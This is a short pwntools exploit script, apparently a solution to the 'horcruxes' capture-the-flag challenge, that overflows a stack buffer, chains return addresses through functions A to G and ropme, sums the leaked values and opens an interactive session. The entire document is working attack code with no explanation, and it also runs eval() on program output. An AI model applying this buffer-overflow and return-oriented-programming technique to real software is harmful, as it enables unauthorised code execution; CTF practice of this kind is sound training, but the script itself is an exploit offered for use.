from pwn import * context.log_level = 'debug' p = process('horcruxes') elf = ELF('horcruxes') A = elf.symbols['A'] B = elf.symbols['B'] C = elf.symbols['C'] D = elf.symbols['D'] E = elf.symbols['E'] F = elf.symbols['F'] G = elf.symbols['G'] ropme = elf.symbols['ropme'] ropme = 0x809fffc payload = 'a'*(0x74+4) payload += p32(A)+p32(B)+p32(C)+p32(D)+p32(E)+p32(F)+p32(G)+p32(ropme) p.sendline('1') import time time.sleep(1) p.sendline(payload) result = p.recv().split('\n')[4:11] total = 0 for line in result: line = line.split('+')[1].split(')')[0] print line total+=eval(line) p.sendline('1') p.recv() p.sendline(str(total)) p.recv() p.interactive()